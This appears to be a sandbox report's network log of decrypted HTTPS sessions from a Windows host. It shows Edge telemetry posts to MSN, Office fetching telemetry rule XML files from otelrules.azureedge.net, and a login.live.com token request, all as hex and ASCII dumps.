MUID=0286CA52A44560A23542DF67A512618F; _EDGE_S=F=1&SID=1341F8B1FCF76AE33A6EED84FD4C6B7F; _EDGE_V=1; _C_ETH=1; msnup=
2024-11-12 03:16:34 UTC	16384	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 4c 6f 61 64 54 69 6d 65 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 31 32 54 30 33 3a 31 36 3a 33 32 2e 38 33 33 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 33 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 66 62 62 34 38 32 64 63 2d 36 30 39 37 2d 34 36 30 38 2d 38 37 66 63 2d 36 32 66 38 66 65 33 65 39 38 30 39 22 2c 22 65 70 6f 63 68 22 3a 22 33 34 30 39 33 38 37 30 32 34 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.LoadTime","time":"2024-11-12T03:16:32.833Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":3,"installId":"fbb482dc-6097-4608-87fc-62f8fe3e9809","epoch":"3409387024"},"app":{"locale
2024-11-12 03:16:34 UTC	16384	OUT	Data Raw: 3a 36 7d 2c 22 63 64 6e 4f 72 69 67 69 6e 22 3a 7b 22 74 22 3a 36 7d 7d 7d 2c 22 73 63 61 6c 61 72 73 22 3a 7b 22 66 22 3a 7b 22 73 69 7a 65 22 3a 7b 22 74 22 3a 36 7d 2c 22 63 61 63 68 65 22 3a 7b 22 74 22 3a 36 7d 7d 7d 7d 7d 2c 22 5b 63 64 6e 5d 2f 73 74 61 74 69 63 73 62 2f 73 74 61 74 69 63 73 2f 6c 61 74 65 73 74 2f 69 63 6f 6e 73 2d 77 63 2f 69 63 6f 6e 73 2f 66 65 65 64 73 65 74 74 69 6e 67 73 2e 73 76 67 22 3a 7b 22 66 22 3a 7b 22 73 70 61 6e 73 22 3a 7b 22 66 22 3a 7b 22 6e 65 74 77 6f 72 6b 22 3a 7b 22 61 22 3a 7b 22 74 22 3a 36 7d 7d 7d 7d 2c 22 64 75 72 61 74 69 6f 6e 73 22 3a 7b 22 66 22 3a 7b 22 63 6f 6e 6e 65 63 74 22 3a 7b 22 74 22 3a 36 7d 2c 22 72 65 71 75 65 73 74 22 3a 7b 22 74 22 3a 36 7d 2c 22 63 64 6e 54 43 50 22 3a 7b 22 74 22 3a Data Ascii: :6},"cdnOrigin":{"t":6}}},"scalars":{"f":{"size":{"t":6},"cache":{"t":6}}}}},"[cdn]/staticsb/statics/latest/icons-wc/icons/feedsettings.svg":{"f":{"spans":{"f":{"network":{"a":{"t":6}}}},"durations":{"f":{"connect":{"t":6},"request":{"t":6},"cdnTCP":{"t":
2024-11-12 03:16:34 UTC	1571	OUT	Data Raw: 71 75 65 73 74 22 3a 38 35 30 2c 22 63 64 6e 54 43 50 22 3a 32 34 36 2c 22 63 64 6e 53 65 6c 66 22 3a 33 33 2c 22 63 64 6e 4f 72 69 67 69 6e 22 3a 34 31 7d 2c 22 73 63 61 6c 61 72 73 22 3a 7b 22 73 69 7a 65 22 3a 31 32 32 39 31 38 2c 22 63 61 63 68 65 22 3a 30 7d 7d 2c 22 76 34 2f 61 70 69 2f 73 65 6c 65 63 74 69 6f 6e 22 3a 7b 22 74 79 70 65 22 3a 22 73 22 2c 22 73 70 61 6e 73 22 3a 7b 22 6e 65 74 77 6f 72 6b 22 3a 5b 38 33 39 31 2c 31 32 32 36 5d 7d 7d 2c 22 5b 31 73 2d 63 64 6e 5d 2f 73 65 72 76 69 63 65 2f 6d 73 6e 2f 75 73 65 72 22 3a 7b 22 74 79 70 65 22 3a 22 73 22 2c 22 73 70 61 6e 73 22 3a 7b 22 6e 65 74 77 6f 72 6b 22 3a 5b 39 33 35 35 2c 38 31 39 5d 7d 2c 22 64 75 72 61 74 69 6f 6e 73 22 3a 7b 22 63 6f 6e 6e 65 63 74 22 3a 36 30 36 2c 22 72 65 Data Ascii: quest":850,"cdnTCP":246,"cdnSelf":33,"cdnOrigin":41},"scalars":{"size":122918,"cache":0}},"v4/api/selection":{"type":"s","spans":{"network":[8391,1226]}},"[1s-cdn]/service/msn/user":{"type":"s","spans":{"network":[9355,819]},"durations":{"connect":606,"re
2024-11-12 03:16:36 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=f770b80c1fcc44dbaa1f627eeabd8b78&HASH=f770&LV=202411&V=4&LU=1731381395766; Domain=.microsoft.com; Expires=Wed, 12 Nov 2025 03:16:35 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=2d556322357b4dd09eaf86aa7963bfa5; Domain=.microsoft.com; Expires=Tue, 12 Nov 2024 03:46:35 GMT; Path=/;Secure; SameSite=None time-delta-millis: 2930 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Tue, 12 Nov 2024 03:16:35 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.5	49880	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 03:16:34 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 03:16:35 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 03:16:34 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: 84ac84b3-801e-0078-19a1-34bac6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T031634Z-17df447cdb57srlrhC1DFWwgas0000000bm000000000snde x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-12 03:16:35 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.5	49883	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 03:16:35 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 03:16:35 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 03:16:35 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: cd5b73c9-701e-0098-1e09-2d395f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T031635Z-16547b76f7f9bs6dhC1DFWt3rg0000000f1000000000akqh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-12 03:16:35 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.5	49884	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 03:16:35 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 03:16:35 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 03:16:35 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: 6538f966-101e-00a2-58f1-2c9f2e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T031635Z-16547b76f7fnlcwwhC1DFWz6gw0000000f1000000000t5z1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 03:16:35 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.5	49885	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 03:16:35 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 03:16:35 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 03:16:35 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: aa86c2cb-a01e-0021-1ba3-34814c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T031635Z-15869dbbcc62nmdhhC1DFW2sxs00000005kg00000000dk2d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-12 03:16:35 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.5	49881	20.189.173.16	443	5600	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 03:16:35 UTC	1033	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1731381393479&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 5245 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=0286CA52A44560A23542DF67A512618F; _EDGE_S=F=1&SID=1341F8B1FCF76AE33A6EED84FD4C6B7F; _EDGE_V=1; msnup=
2024-11-12 03:16:35 UTC	5245	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 4c 6f 61 64 54 69 6d 65 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 31 32 54 30 33 3a 31 36 3a 33 33 2e 34 37 38 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 34 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 66 62 62 34 38 32 64 63 2d 36 30 39 37 2d 34 36 30 38 2d 38 37 66 63 2d 36 32 66 38 66 65 33 65 39 38 30 39 22 2c 22 65 70 6f 63 68 22 3a 22 33 34 30 39 33 38 37 30 32 34 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.LoadTime","time":"2024-11-12T03:16:33.478Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":4,"installId":"fbb482dc-6097-4608-87fc-62f8fe3e9809","epoch":"3409387024"},"app":{"locale
2024-11-12 03:16:35 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=d3b5b294d1aa424592f379f968dddb85&HASH=d3b5&LV=202411&V=4&LU=1731381395192; Domain=.microsoft.com; Expires=Wed, 12 Nov 2025 03:16:35 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=7bda95221cc246c09a56d586925d6405; Domain=.microsoft.com; Expires=Tue, 12 Nov 2024 03:46:35 GMT; Path=/;Secure; SameSite=None time-delta-millis: 1713 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Tue, 12 Nov 2024 03:16:35 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.2.5	49879	20.190.159.0	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 03:16:35 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-11-12 03:16:35 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-12 03:16:35 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Tue, 12 Nov 2024 03:15:35 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C504_SN1 x-ms-request-id: caaae82f-b050-4b5f-8ae1-f39c51eeb6b6 PPServer: PPV: 30 H: SN1PEPF0002F109 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Tue, 12 Nov 2024 03:16:35 GMT Connection: close Content-Length: 11392
2024-11-12 03:16:35 UTC	11392	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.5	49871	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 03:16:35 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 03:16:35 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 03:16:35 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: ab75edf1-a01e-003d-1da8-3498d7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T031635Z-15869dbbcc6rzfwxhC1DFWrkb00000000adg00000000n0n2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-12 03:16:35 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
105	192.168.2.5	49886	20.189.173.16	443	5600	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 03:16:35 UTC	1033	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1731381393830&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 9961 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=0286CA52A44560A23542DF67A512618F; _EDGE_S=F=1&SID=1341F8B1FCF76AE33A6EED84FD4C6B7F; _EDGE_V=1; msnup=
2024-11-12 03:16:35 UTC	9961	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 43 6f 6e 74 65 6e 74 56 69 65 77 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 31 32 54 30 33 3a 31 36 3a 33 33 2e 38 32 39 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 35 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 66 62 62 34 38 32 64 63 2d 36 30 39 37 2d 34 36 30 38 2d 38 37 66 63 2d 36 32 66 38 66 65 33 65 39 38 30 39 22 2c 22 65 70 6f 63 68 22 3a 22 33 34 30 39 33 38 37 30 32 34 22 7d 2c 22 61 70 70 22 